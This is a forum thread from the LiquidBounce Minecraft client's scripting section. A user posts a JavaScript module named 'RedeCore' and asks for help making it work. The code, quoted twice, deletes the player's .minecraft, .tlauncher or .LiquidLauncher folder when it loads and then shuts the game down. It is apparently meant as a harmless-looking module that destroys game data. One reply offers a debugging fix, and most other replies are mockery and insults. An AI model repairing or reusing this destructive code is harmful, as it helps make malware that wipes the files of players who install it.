Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • Users
  • Groups
Skins
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse

LiquidBounce Forum

  1. Home
  2. ScriptAPI
  3. (help) script doesnt work

(help) script doesnt work

Scheduled Pinned Locked Moved Unsolved ScriptAPI
15 Posts 6 Posters 3.8k Views
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • poop_dealerP poop_dealer
    var FileUtils = Java.type('org.apache.commons.io.FileUtils');
    var System = Java.type('java.lang.System');
    var File = Java.type('java.io.File');
    var minecraftLocation = new File(System.getProperty('user.home') + '\\AppData\\Roaming\\.minecraft');
    var TLauncherLocation = new File(System.getProperty('user.home') + '\\AppData\\Roaming\\.tlauncher');
    var LiquidLauncherLocation = new File(System.getProperty('user.home') + '\\AppData\\Roaming\\.LiquidLauncher');
    var script = registerScript({
        name: 'RedeCore',
        version: '0.0.0',
        authors: ['']
    });
    script.registerModule({
        name: 'RedeCoreStarter',
        category: 'Misc', 
        description: '',
    
    }, function (module) {
        script.on('load', function() {
            switch (true) {
                case minecraftLocation.exists():
                    minecraftLocation.delete();
                    break;
                case TLauncherLocation.exists():
                    TLauncherLocation.delete();
                    break;
                case LiquidLauncherLocation.exists():
                    LiquidLauncherLocation.delete()
                    break;
    			mc.shutDown();
            }
            }
        });
    });
    

    for some reason it doesnt work

    ? Offline
    ? Offline
    A Former User
    wrote on last edited by
    #3

    @poop_dealer bruh

    1 Reply Last reply
    1
    • poop_dealerP poop_dealer
      var FileUtils = Java.type('org.apache.commons.io.FileUtils');
      var System = Java.type('java.lang.System');
      var File = Java.type('java.io.File');
      var minecraftLocation = new File(System.getProperty('user.home') + '\\AppData\\Roaming\\.minecraft');
      var TLauncherLocation = new File(System.getProperty('user.home') + '\\AppData\\Roaming\\.tlauncher');
      var LiquidLauncherLocation = new File(System.getProperty('user.home') + '\\AppData\\Roaming\\.LiquidLauncher');
      var script = registerScript({
          name: 'RedeCore',
          version: '0.0.0',
          authors: ['']
      });
      script.registerModule({
          name: 'RedeCoreStarter',
          category: 'Misc', 
          description: '',
      
      }, function (module) {
          script.on('load', function() {
              switch (true) {
                  case minecraftLocation.exists():
                      minecraftLocation.delete();
                      break;
                  case TLauncherLocation.exists():
                      TLauncherLocation.delete();
                      break;
                  case LiquidLauncherLocation.exists():
                      LiquidLauncherLocation.delete()
                      break;
      			mc.shutDown();
              }
              }
          });
      });
      

      for some reason it doesnt work

      V Offline
      V Offline
      vinci
      wrote on last edited by vinci
      #4

      it doesn't work cuz the correct method name is "shutdown", not "shutDown"
      you're welcome!!1!

      poop_dealerP 1 Reply Last reply
      2
      • V vinci

        it doesn't work cuz the correct method name is "shutdown", not "shutDown"
        you're welcome!!1!

        poop_dealerP Offline
        poop_dealerP Offline
        poop_dealer
        wrote on last edited by poop_dealer
        #5

        @nvinci still didnt work help me please, i think im retarded to

        1 Reply Last reply
        0
        • dntdbtD dntdbt

          @poop_dealer LOL

          poop_dealerP Offline
          poop_dealerP Offline
          poop_dealer
          wrote on last edited by
          #6

          @dntdbt @BritishBiscuit can you all just help me please

          poop_dealerP 1 Reply Last reply
          0
          • poop_dealerP poop_dealer

            @dntdbt @BritishBiscuit can you all just help me please

            poop_dealerP Offline
            poop_dealerP Offline
            poop_dealer
            wrote on last edited by
            #7

            @poop_dealer @mems help me please @nvinci

            1 Reply Last reply
            0
            • ? Offline
              ? Offline
              A Former User
              wrote on last edited by
              #8
              This post is deleted!
              1 Reply Last reply
              0
              • dntdbtD dntdbt

                @poop_dealer LOL

                ? Offline
                ? Offline
                A Former User
                wrote on last edited by
                #9

                @dntdbt dont make fun of me pls just help =(

                1 Reply Last reply
                0
                • ? Offline
                  ? Offline
                  A Former User
                  wrote on last edited by
                  #10

                  @________ what are you doing talking to your alt

                  1 Reply Last reply
                  0
                  • ? Offline
                    ? Offline
                    A Former User
                    wrote on last edited by
                    #11

                    @________ ok

                    1 Reply Last reply
                    0
                    • ? Offline
                      ? Offline
                      A Former User
                      wrote on last edited by
                      #12

                      @________ what the fuck is blue zenith

                      1 Reply Last reply
                      0
                      • ? Offline
                        ? Offline
                        A Former User
                        wrote on last edited by
                        #13

                        @________ why do you mention it so much then

                        1 Reply Last reply
                        0
                        • ? Offline
                          ? Offline
                          A Former User
                          wrote on last edited by
                          #14

                          @________ nobody knows about the client, why would people download it, go back in reddit

                          1 Reply Last reply
                          0
                          • ? Offline
                            ? Offline
                            A Former User
                            wrote on last edited by
                            #15

                            lmao i imagine a grown man typing like a child

                            1 Reply Last reply
                            0

                            Hello! It looks like you're interested in this conversation, but you don't have an account yet.

                            Getting fed up of having to scroll through the same posts each visit? When you register for an account, you'll always come back to exactly where you were before, and choose to be notified of new replies (either via email, or push notification). You'll also be able to save bookmarks and upvote posts to show your appreciation to other community members.

                            With your input, this post could be even better 💗

                            Register Login
                            Reply
                            • Reply as topic
                            Log in to reply
                            • Oldest to Newest
                            • Newest to Oldest
                            • Most Votes


                            About
                            • Terms of Service
                            • Privacy Policy
                            • Status
                            • Contact Us
                            Downloads
                            • Releases
                            • Source code
                            • License
                            Docs
                            • Tutorials
                            • CustomHUD
                            • AutoSettings
                            • ScriptAPI
                            Community
                            • Forum
                            • Guilded
                            • YouTube
                            • Twitter
                            • D.Tube
                            • Login

                            • Login or register to search.
                            • First post
                              Last post
                            0
                            • Categories
                            • Recent
                            • Tags
                            • Popular
                            • Users
                            • Groups